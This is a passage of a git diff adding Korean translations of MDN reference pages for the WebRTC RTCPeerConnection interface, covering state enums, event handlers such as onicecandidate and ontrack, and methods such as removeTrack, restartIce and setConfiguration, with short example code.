"connected"연결에 의해 사용되는 모든 ICE 전송이 사용 중 ("connected" 혹은 "completed")이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 "connected" 혹은 "completed"입니다.
"disconnected"연결에 대한 최소 한 개의 ICE 전송이 "disconnected"상태이고, 그 외의 다른 전송 상태는 "failed", "connecting", 혹은 "checking"이 아님을 알려주는 값. 
"failed" +

연결에 대한 하나 혹은 여러개의 ICE 전송이 "failed"상태임을 알려주는 값.

+
"closed" +

RTCPeerConnection 개통되지 않음을 알려주는 값.

+ +

2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 RTCPeerConnectionState enum 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. 

+
+ +

RTCRtcpMuxPolicy enum

+ +

The RTCRtcpMuxPolicy enum defines string constants which specify what ICE candidates are gathered to support non-multiplexed RTCP. <<<add a link to info about multiplexed RTCP.

+ + + + + + + + + + + + + + + + + + +
상수명설명
"negotiate"Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately.
"require"Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.
+ +

RTCSignalingState enum

+ +

The RTCSignalingState enum specifies the possible values of {{domxref("RTCPeerConnection.signalingState")}}, which indicates where in the process of signaling the exchange of offer and answer the connection currently is.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"stable"There is no ongoing exchange of offer and answer underway. This may mean that the {{domxref("RTCPeerConnection")}} object is new, in which case both the {{domxref("RTCPeerConnection.localDescription", "localDescription")}} and {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} are null; it may also mean that negotiation is complete and a connection has been established.
"have-local-offer"The local peer has called {{domxref("RTCPeerConnection.setLocalDescription()")}}, passing in SDP representing an offer (usually created by calling {{domxref("RTCPeerConnection.createOffer()")}}), and the offer has been applied successfully.
"have-remote-offer"The remote peer has created an offer and used the signaling server to deliver it to the local peer, which has set the offer as the remote description by calling {{domxref("RTCPeerConnection.setRemoteDescription()")}}.
"have-local-pranswer"The offer sent by the remote peer has been applied and an answer has been created (usually by calling {{domxref("RTCPeerConnection.createAnswer()")}}) and applied by calling {{domxref("RTCPeerConnection.setLocalDescription()")}}. This provisional answer describes the supported media formats and so forth, but may not have a complete set of ICE candidates included. Further candidates will be delivered separately later.
"have-remote-pranswer"A provisional answer has been received and successfully applied in response to an offer previously sent and established by calling setLocalDescription().
"closed" {{obsolete_inline}} +

The connection is closed.

+ +
+

This value moved into the RTCPeerConnectionState enum in the May 13, 2016 draft of the specification, as it reflects the state of the RTCPeerConnection, not the signaling connection. You now detect a closed connection by checking for {{domxref("RTCPeerConnection.connectionState", "connectionState")}} to be "closed" instead.

+
+
+ +

사양

+ + + + + + + + + + + + + + +
사양명상태설명
{{SpecName('WebRTC 1.0', '#interface-definition', 'RTCPeerConnection')}}{{Spec2('WebRTC 1.0')}}초기 정의.
+ +

브라우저 호환성

+ +
+ +
{{Compat("api.RTCPeerConnection")}}
+ +

참고

+ + diff --git a/files/ko/web/api/rtcpeerconnection/localdescription/index.html b/files/ko/web/api/rtcpeerconnection/localdescription/index.html new file mode 100644 index 0000000000..0525c9f0eb --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/localdescription/index.html @@ -0,0 +1,64 @@ +--- +title: RTCPeerConnection.localDescription +slug: Web/API/RTCPeerConnection/localDescription +translation_of: Web/API/RTCPeerConnection/localDescription +--- +

{{WebRTCSidebar}}{{SeeCompatTable}}

+ +

읽기 속성인 RTCPeerConnection.localDescription는 연결의 로컬 엔드에 대한 세션을 설명하는 {{domxref("RTCSessionDescription")}}를 반환합니다. 아직 설정이 안되어있다면, null 입니다.

+ +

Syntax

+ +
 var sessionDescription = peerConnection.localDescription;
+ +

기본적으로 반환 값은 해당 속성이 null이 아닐 때에만 {{domxref("RTCPeerConnection.pendingLocalDescription")}}의 값입니다. 그렇지 않은 경우에는 {{domxref("RTCPeerConnection.currentLocalDescription")}}의 값이 반환됩니다. 이 알고리즘 및 사용하는 이유에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.

+ +

예시

+ +

아래의 예시에서는 localDescription를 확인하고, {{domxref("RTCSessionDescription")}} 객체의 타입과 sdp필드를 담고있는 경고를 띄웁니다.

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.localDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-localDescription', 'RTCPeerConnection.localDescription') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.localDescription")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html b/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html new file mode 100644 index 0000000000..5505f509eb --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/onconnectionstatechange/index.html @@ -0,0 +1,65 @@ +--- +title: RTCPeerConnection.onconnectionstatechange +slug: Web/API/RTCPeerConnection/onconnectionstatechange +translation_of: Web/API/RTCPeerConnection/onconnectionstatechange +--- +

{{APIRef("WebRTC")}}

+ +

RTCPeerConnection.onconnectionstatechange 속성에 {{domxref("RTCPeerConnection")}} 인스턴스에서 발생하는 {{event("connectionstatechange")}} 이벤트를 처리하기 위해 호출되는 {{domxref("EventHandler")}}를 정의하게됩니다. 이 이벤트는  연결의 상태 집합체가 변할 때마다 발생합니다. 이 상태 집합체는 연결에 의해 사용되는 각각의 네트워크 전송 상태들의 묶음입니다.

+ +

Syntax

+ +
RTCPeerConnection.onconnectionstatechange = eventHandler;
+
+ +

+ +

{{domxref("RTCPeerConnection")}}에서 {{event("connectionstatechange")}} 이벤트가 생길 때, 브라우저에 의해 호출되는 함수입니다. 이 함수는 {{domxref("Event")}} 타입의 객체인 단일 패러미터를 입력인자로 받습니다. 해당 이벤트 객체는 특별한 정보를 담고 있지는 않습니다. 새로운 상태를 확인하려면 피어 연결의 {{domxref("RTCPeerConnection.connectionState", "connectionState")}}에 해당하는 값을 살펴보십시오. 

+ +

예시

+ +
pc.onconnectionstatechange = function(event) {
+  switch(pc.connectionState) {
+    case "connected":
+      // The connection has become fully connected
+      break;
+    case "disconnected":
+    case "failed":
+      // One or more transports has terminated unexpectedly or in an error
+      break;
+    case "closed":
+      // The connection has been closed
+      break;
+  }
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onconnectionstatechange', 'RTCPeerConnection.onconnectionstatechange') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.onconnectionstatechange")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html b/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html new file mode 100644 index 0000000000..d32f6c9b80 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html @@ -0,0 +1,62 @@ +--- +title: RTCPeerConnection.ondatachannel +slug: Web/API/RTCPeerConnection/ondatachannel +translation_of: Web/API/RTCPeerConnection/ondatachannel +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.ondatachannel 속성은 {{domxref("RTCPeerConnection")}}에서 발생하는 {{event("datachannel")}} 이벤트에 의해 호출되는 {{domxref("EventHandler")}}입니다. 이 속성에는 함수를 정의하게됩니다. {{domxref("RTCDataChannelEvent")}}의 한 종류인 이 이벤트는 원격 유저가 {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}}를 호출해서 연결에 {{domxref("RTCDataChannel")}}가 추가되었을 때, 전달됩니다. 

+ +

이 이벤트를 수신하게되는 시점에서는 {{domxref("RTCDataChannel")}}가 아직 열리지 않았을 수 있습니다. 사용하기 전에 꼭 신규 RTCDataChannel"open"이벤트가 발생하는 것을 확인하십시오.

+ +

Syntax

+ +
RTCPeerConnection.ondatachannel = function;
+
+ +

+ +

이 속성에 지정하는 함수는 단일 패러미터를 입력 인자로 받습니다. channel 속성에 생성된 {{domxref("RTCDataChannel")}}를 제공하는 {{domxref("RTCDataChannelEvent")}} 입니다. 

+ +

예시

+ +
pc.ondatachannel = function(ev) {
+  console.log('Data channel is created!');
+  ev.channel.onopen = function() {
+    console.log('Data channel is open and ready to be used.');
+  };
+};
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-ondatachannel', 'RTCPeerConnection.ondatachannel') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.ondatachannel")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html b/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html new file mode 100644 index 0000000000..a8c23acfc1 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html @@ -0,0 +1,63 @@ +--- +title: RTCPeerConnection.onicecandidate +slug: Web/API/RTCPeerConnection/onicecandidate +translation_of: Web/API/RTCPeerConnection/onicecandidate +--- +

{{APIRef("WebRTC")}}

+ +

 RTCPeerConnection 속성의 {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} 는 {{domxref("RTCPeerConnection")}} 인스턴스에서 {{event("icecandidate")}} 이벤트 발생시에 호출 하려는 함수를 지정합니다. 이 이벤트는 로컬 {{Glossary("ICE")}} 에이전트가 signaling 서버를 통해 원격 피어에게 메세지를 전달 할 필요가 있을때 마다 발생합니다. 그리고 ICE 에이전트가 signaling에 사용되는 기술에 대한 구체사항을 모르더라도 원격 피어와의 네고시에이션을 수행하도록 도와줍니다. 어떤 메세징 기술을 선택하던간에, 이 메소드를 사용해서 원격 피어에 ICE candidate를 전달하는 과정을 간단하게 구현 할 수 있습니다. 

+ +

Syntax

+ +
RTCPeerConnection.onicecandidate = eventHandler;
+
+ +

+ +

onicecandidate 속성은 {{event("icecandidate")}} 이벤트를 나타내는 {{domxref("RTCPeerConnectionIceEvent")}} 객체를 입력 값으로 받는 함수로 설정되어야합니다. 여기에 설정되는 함수는 ICE candidate를 signaling 서버를 통해 원격 피어에게 전달해야합니다. 이때, ICE candidate의 {{Glossary("SDP")}}는 이벤트의 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성에서 확인 할 수 있습니다. 만약 이벤트의 candidate 속성이 null로 지정되어있다면, ICE 수집과정이 완료됩니다. 이 메세지는 원격 피어에 전달되지 않아야합니다. 이때, 연결의 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 또한 complete로 바뀌게 됩니다. ICE 수집 상태를 명시적으로 감시할 필요는 없습니다. 다만, signaling의 종료를 감지해야 한다면, ICE 네고시에이션이 complete 상태로 변한것을 알려주는 {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} 이벤트를 감시하면 됩니다.

+ +

예시

+ +

아래는 Signaling and video calling 문서의 코드를 기반으로 원격 피어에게 ICE candidate를 전달하는 {{event("icecandidate")}} 이벤트에 대한 핸들러를 설정합니다.

+ +
pc.onicecandidate = function(event) {
+  if (event.candidate) {
+    // event.candidate가 존재하면 원격 유저에게 candidate를 전달합니다.
+  } else {
+    // 모든 ICE candidate가 원격 유저에게 전달된 조건에서 실행됩니다.
+    // candidate = null
+  }
+}
+ +

위에서 알 수 있듯이, 이벤트의 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성이 null이면 네고시에이션의 종료가 감지됩니다. 

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onicecandidate', 'RTCPeerConnection.onicecandidate') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.onicecandidate")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html b/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html new file mode 100644 index 0000000000..8e3e375efb --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html @@ -0,0 +1,76 @@ +--- +title: RTCPeerConnection.onicegatheringstatechange +slug: Web/API/RTCPeerConnection/onicegatheringstatechange +translation_of: Web/API/RTCPeerConnection/onicegatheringstatechange +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.onicegatheringstatechange속성은 {{event("icegatheringstatechange")}} 이벤트가 {{domxref("RTCPeerConnection")}}에 전달될 때 호출이되는 함수를 정의하는 {{domxref("EventHandler")}}입니다. 이이벤트는 ICE 에이전트가 ICE candidate를 수집을 하는지의 여부를 알려주는 ICE 수집 상태가 변하면 발생합니다. 하지만, ICE 수집 상태를 모니터링 해야하는 특별한 이유가 없으면 이 이벤트를 감시 할 필요는 없습니다.

+ +

Syntax

+ +
RTCPeerConnection.onicegatheringstatechange = eventHandler;
+
+ +

+ +

{{event("icegatheringstatechange")}} 이벤트를 가진 {{domxref("Event")}} 객체를 단일 패러미터로 전달하는 함수를 제공합니다. {{domxref("RTCPeerConnection.iceGatheringState")}} 속성의 값 확인을 통해 ICE 수집 상태를 새로운 값으로 변경이 가능합니다.

+ +

예시

+ +

아래의 예제는 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 속성 값이 변할 때마다 현재 값을 확인하고, 수집 상태 변화에 맞추어 표시될 상태 내용을 업데이트해서 유저에게 알려줍니다.  

+ +

이 상태는 {{HTMLElement("div")}} 요소에 텍스트로 표시됩니다.

+ +
<div id="iceStatus"></div>
+
+ +

예제에 사용된 이벤트 핸들러는 아래와 같습니다:

+ +
pc.onicegatheringstatechange = function() {
+  let label = "Unknown";
+
+  switch(pc.iceGatheringState) {
+    case "new":
+    case "complete":
+      label = "Idle";
+      break;
+    case "gathering":
+      label = "Determining route";
+      break;
+  }
+  // HTML에서 id가 "iceStatus"인 요소에 label 값을 지정
+  document.getElementById("iceStatus").innerHTML = label;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onicegatheringstatechange', 'RTCPeerConnection.onicegatheringstatechange') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.onicegatheringstatechange")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html b/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html new file mode 100644 index 0000000000..a237bae774 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html @@ -0,0 +1,55 @@ +--- +title: RTCPeerConnection.onidentityresult +slug: Web/API/RTCPeerConnection/onidentityresult +translation_of: Web/API/RTCPeerConnection/onidentityresult +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.onidentityresult 이벤트 핸들러는 {{domxref("RTCPeerConnection")}}가 {{domxref("RTCIdentityEvent")}} 타입의 {{event("identityresult")}} 이벤트를 수신하게되면 실행되는 코드를 담고 있는 속성입니다. 이러한 이벤트는 {{domxref("RTCPeerConnection.getIdentityAssertion()", "getIdentityAssertion()")}} 혹은 offer 혹은 answer를 생성하는 과정에 의해 식별인자 주장이 생성되면 전송됩니다.

+ +

Syntax

+ +
peerconnection.onidentityresult = function;
+
+ +

+ + + +

예시

+ +
pc.onidentityresult = function(ev) { alert("onidentityresult event detected!"); };
+
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onidentityresult', 'RTCPeerConnection.onidentityresult') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.onidentityresult")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/ontrack/index.html b/files/ko/web/api/rtcpeerconnection/ontrack/index.html new file mode 100644 index 0000000000..1856d41890 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/ontrack/index.html @@ -0,0 +1,63 @@ +--- +title: RTCPeerConnection.ontrack +slug: Web/API/RTCPeerConnection/ontrack +translation_of: Web/API/RTCPeerConnection/ontrack +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCPeerConnection")}} 속성인 ontrack은 {{domxref("RTCPeerConnection")}}에 트랙이 등록됨을 알려주는 {{event("track")}}가 발생하면 호출되는 함수를 지정하는 {{domxref("EventHandler")}}입니다.

+ +

이 함수는 {{domxref("RTCTrackEvent")}} 타입의 이벤트 객체를 입력 인자로 받습니다. 해당 이벤트는 신규로 받아지는 {{domxref("MediaStreamTrack")}}가 생성되고 연결의 리시버 세트에 추가된 {{domxref("RTCRtpReceiver")}}객체와 연관되면 전송됩니다.

+ +

Syntax

+ +
RTCPeerConnection.ontrack = eventHandler;
+
+ +

+ +

ontrack을 함수로 지정해서 신규 트랙에 대해 설명하고 어떻게 사용 될지를 알려주는 {{domxref("RTCTrackEvent")}} 객체를 입력 인자로 받도록 하십시오. 이 정보에는 신규 트랙을 나타내는 {{domxref("MediaStreamTrack")}} 객체, {{domxref("RTCRtpReceiver")}}와{{domxref("RTCRtpTransceiver")}}, 그리고 트랙이 어느 스트림에 해당하는지를 알려주는 {{domxref("MediaStream")}}의 리스트 객체를 포함합니다. 

+ +

예시

+ +

아래의 예시는 Signaling and video calling 문서에 나온 코드의 일부입니다. 이 코드는 들어오는 트랙을 {{HTMLElement("video")}}에 연결해서 해당 비디오를 보여줄 수 있도록 합니다.

+ +
pc.ontrack = function(event) {
+  document.getElementById("received_video").srcObject = event.streams[0];
+  document.getElementById("hangup-button").disabled = false;
+};
+
+
+ +

첫 줄에 나온 ontrack 이벤트 핸들러는 들어오는 트랙의 첫 스트림을 가져다가 {{htmlattrxref("srcObject", "video")}} 속성에 지정합니다. 이렇게 함으로써 비디오의 스트림을 해당 요소에 연결하고, 유저에게 보여 줄 수 있게됩니다. 두 번째줄에서는 "통화 종료" 버튼을 활성화하여 유저가 통화를 종료 할 수 있도록 해줍니다.

+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-ontrack', 'RTCPeerConnection.ontrack')}}{{Spec2('WebRTC 1.0')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.ontrack")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/removetrack/index.html b/files/ko/web/api/rtcpeerconnection/removetrack/index.html new file mode 100644 index 0000000000..f08af06fd8 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/removetrack/index.html @@ -0,0 +1,80 @@ +--- +title: RTCPeerConnection.removeTrack() +slug: Web/API/RTCPeerConnection/removeTrack +translation_of: Web/API/RTCPeerConnection/removeTrack +--- +
{{APIRef("WebRTC")}}
+ +

RTCPeerConnection.removeTrack() 메소드는 {{domxref("RTCPeerConnection.getSenders()")}}에 의해 보고된 발신자 목록에서 해당 {{domxref("RTCRtpSender")}}를 실제로 제거하지 않은채, 지정한 트랙에서 미디어 전송을 중단하도록 연결의 로컬엔드에 알려줍니다. 해당 트랙이 이미 중단되었거나, 연결의 발신자 목록에 존재하지 않으면, 이 메소드는 아무 영향이 없습니다.

+ +

연결이 이미 협상된 경우 ({{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 "stable"로 설정된 경우), 재협상이 필요하다고 표시를 하게됩니다. 따라서, 원격 유저는 해당 협상이 발생하기 전까지 아무런 변화를 감지 할 수 없습니다. {{event("negotiationneeded")}} 이벤트가 {{domxref("RTCPeerConnection")}}에 전송되고, 로컬엔드에게 해당 협상이 반드시 발생해야 한다고 알려주게됩니다.

+ +

Syntax

+ +
pc.removeTrack(sender);
+
+ +

매개변수

+ +
+
mediaTrack
+
연결에서 해당하는 발신자를 제거하도록 알려주는 {{domxref("RTCRtpSender")}}.
+
+ +

반환 값

+ +

undefined.

+ +

예외처리

+ +
+
InvalidStateError
+
연결이 열린 상태가 아닙니다.
+
+ +

예시

+ +

아래의 예시는 연결에 비디오 트랙을 추가하고, 닫기 버튼을 감청하여 유저가 버튼을 클릭하면 해당 미디어를 제거하도록 합니다.

+ +
var pc, sender;
+navigator.getUserMedia({video: true}, function(stream) {
+  pc = new RTCPeerConnection();
+  var track = stream.getVideoTracks()[0];
+  sender = pc.addTrack(track, stream);
+});
+
+document.getElementById("closeButton").addEventListener("click", function(event) {
+  pc.removeTrack(sender);
+  pc.close();
+}, false);
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-removetrack', 'RTCPeerConnection.removeTrack()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.removeTrack")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/restartice/index.html b/files/ko/web/api/rtcpeerconnection/restartice/index.html new file mode 100644 index 0000000000..dc3494d2ec --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/restartice/index.html @@ -0,0 +1,80 @@ +--- +title: RTCPeerConnection.restartIce() +slug: Web/API/RTCPeerConnection/restartIce +translation_of: Web/API/RTCPeerConnection/restartIce +--- +

{{APIRef("WebRTC API")}}

+ +

WebRTC API의 {{domxref("RTCPeerConnection")}} 인터페이스에서는 restartIce() 메소드를 제공해서 연결의 양쪽에서 {{Glossary("ICE")}} candidate의 재수집 요청을 간단하게 할 수 있게 만들어줍니다.

+ +

restartIce()가 반환을 한 뒤에는, offer가 시그널링 메커니즘을 통해 전달되고, 원격 피어가 받은 offer를 description으로 설정을 하게 됩니다.이 과정이 완료되면, {{domxref("RTCPeerConnection.createOffer", "createOffer()")}}에 대한 다음 호출로 반환된 offer가 로컬 피어 (로컬로 설정이 된 경우)와 원격 피어에서 ICE 재시작을 발생시키도록 설정됩니다. 

+ +

restartIce()RTCPeerConnection에 대한 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트를 발생시켜서 어플리케이션이 신호 채널을 통해서 협상을 수행하도록 합니다.

+ +

만약 협상이 롤백 현상이나 수신받은 offer가 이미 협상 중으로 인해 실패하게되면, {{domxref("RTCPeerConnection")}}가  ICE 재시작 요청을 했다는 것을 자동으로 기억합니다. 다음번에 연결의 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 stable로 바뀌게되면, 연결 인터페이스가 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트를 발생시킵니다. 이 과정은 ICE 재시작 과정이 온전히 완료될 때까지 반복됩니다.

+ +

Syntax

+ +
RTCPeerConnection.restartIce();
+ +

매개변수

+ +

없음.

+ +

반환 값

+ +

undefined.

+ +

{{domxref("RTCPeerConnection.createOffer", "createOffer()")}}를 사용해서 만들어진 다음 offer가 신호 메커니즘을 통해 원격 유저에게 전달이 되면, ICE 재시작을 시작하도록 만듭니다. ICE를 재시작하게되면 기본적으로 ICE가 초기화되고, 새로운 증명서를 사용해서 신규 candidate를 생성합니다. 기존에 존재하던 미디어 전송/수신은 이 과정동안에는 방해받지 않습니다.

+ +

ICE 재시작의 작동원리를 좀 더 자세히 알고 싶다면, {{SectionOnPage("/ko/docs/Web/API/WebRTC_API/Session_lifetime", "ICE restart")}}와 {{RFC(5245, "ICE specification", "9.1.1.1")}}를 참고하십시오.

+ +

예시

+ +

아래의 예제는 {{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}} 이벤트에 대한 핸들러입니다. 이 핸들러는 ICE를 재시작하여 failed 상태로의 전환을 관리합니다. 

+ +
pc.addEventListener("iceconnectionstatechange", event => {
+  if (pc.iceConnectionState === "failed") {
+    /* possibly reconfigure the connection in some way here */
+    /* then request ICE restart */
+    pc.restartIce();
+  }
+});
+
+ + + +

위의 코드를 사용하여 ICE 협상 중 failed 상태로 전환되면 코드가 정상적으로 재협상 되어야 하기 때문에 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트가 발생합니다. 그러나, restartIce()를 호출했기 때문에 negotiationneeded에 대한 핸들러에서 발생하는 {{domxref("RTCPeerConnection.createOffer", "createOffer()")}} 호출은 일반적으로 수행되는 재협상이 아니라 ICE 재시작을 발생시킵니다.

+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-restartice', 'RTCPeerConnection.restartIce()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.restartIce")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html new file mode 100644 index 0000000000..2fa7822559 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -0,0 +1,59 @@ +--- +title: RTCPeerConnection() +slug: Web/API/RTCPeerConnection/RTCPeerConnection +translation_of: Web/API/RTCPeerConnection/RTCPeerConnection +--- +
{{APIRef("WebRTC")}}
+ +

RTCPeerConnection() 생성자는 로컬 기기와 원격 피어 간의 연결을 나타내는 {{domxref("RTCPeerConnection")}} 객체를 새로 만들어 반환합니다.

+ +

문법

+ +
pc = new RTCPeerConnection([configuration]);
+ +

매개변수

+ +
+
configuration {{optional_inline}}
+
RTCConfiguration dictionary는 신규 연결을 설정하는 옵션들을 제공합니다.
+
+ +

RTCConfiguration dictionary

+ +

{{page("/ko/docs/Web/API/RTCConfiguration", "속성")}}

+ +

반환 값

+ +

configuration이 지정된 경우 그에 맞게 구성한, 그렇지 않은 경우 기본값 구성을 이용한 {{domxref("RTCPeerConnection")}} 객체입니다.

+ +

사양

+ + + + + + + + + + + + + + +
사양명상태설명
{{SpecName('WebRTC 1.0', '#widl-ctor-RTCPeerConnection--RTCConfiguration-configuration', 'RTCPeerConnection()')}}{{Spec2('WebRTC 1.0')}}초기 선언
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.RTCPeerConnection")}}

+ +

참고

+ + diff --git a/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html new file mode 100644 index 0000000000..844f1ae4a8 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html @@ -0,0 +1,99 @@ +--- +title: RTCPeerConnection.setConfiguration() +slug: Web/API/RTCPeerConnection/setConfiguration +translation_of: Web/API/RTCPeerConnection/setConfiguration +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.setConfiguration() 메소드는 {{domxref("RTCConfiguration")}}객체에 명시한 값을 가지고 {{domxref("RTCPeerConnection")}}의 현재 설정을 지정합니다. 이 메소드를 사용해서 연결에서 사용되는 ICE 서버와 전송 정책을 변경 할 수 있습니다. 

+ +

가장 보편적으로 쓰이는 방법은 사용하려는 ICE 서버 값으로 교체해주는것 입니다. (엄청 자주 사용되는 케이스는 아닐 것입니다) 이 방법을 수행하는 두 가지 시나리오는 아래와 같습니다:

+ + + +
+

연결이 이미 설정이 되어있다면, 식별 정보는 변경 할 수 없습니다.

+
+ +

Syntax

+ +
RTCPeerConnection.setConfiguration(configuration);
+ +

매개변수

+ +
+
configuration
+
설정을 할 수 있는 옵션들을 제공해주는 {{domxref("RTCConfiguration")}} 객체입니다. 변경사항은 계속해서 추가되지 않습니다. 대신에, 신규 값이 기존의 값은 완전히 대체하게 됩니다.
+
+ +

예외처리

+ +
+
InvalidAccessError
+
configuration.iceServers에 정의한 하나 혹은 여러개의 URL이 {{Glossary("TURN")}} 서버 입니다. 하지만, 로그인을 위한 정보가 완전히 제공되지 않아서 발생하는 에러입니 ({{domxref("RTCIceServer.username")}} 혹은 {{domxref("RTCIceServer.credentials")}}의 값이 없다는 뜻). 이로인해 서버에 로그인을 성공적으로 할 수 없게 됩니다.
+
InvalidModificationError
+
configuration에서 변경되는 식별 정보를 포함하고 있지만, 연결을 구성하면서 이미 식별 정보를 지정했기 때문에 발생하는 에러입니다. 이 에러는 configuration.peerIdentity 혹은 configuration.certificates가 설정이 되어있고, 이 값들이 현재 설정 값과 다르기 때문에 발생합니다.
+
InvalidStateError
+
{{domxref("RTCPeerConnection")}}이 닫혀있어서 발생하는 에러입니다.
+
SyntaxError
+
configuration.iceServers에 제공된 하나 혹은 여러개의 URL 리스트가 유효하지 않아서 발생하는 에러입니다.
+
+ +

예시

+ +

아래의 예시에서는 ICE 재시작이 필요한 것을 확인하고, 다른 ICE 서버를 사용해서 협상이 이루어지도록 합니다.

+ +
var restartConfig = { iceServers: [{
+                          urls: "turn:asia.myturnserver.net",
+                          username: "allie@oopcode.com",
+                          credential: "topsecretpassword"
+                      }]
+};
+
+myPeerConnection.setConfiguration(restartConfig);
+
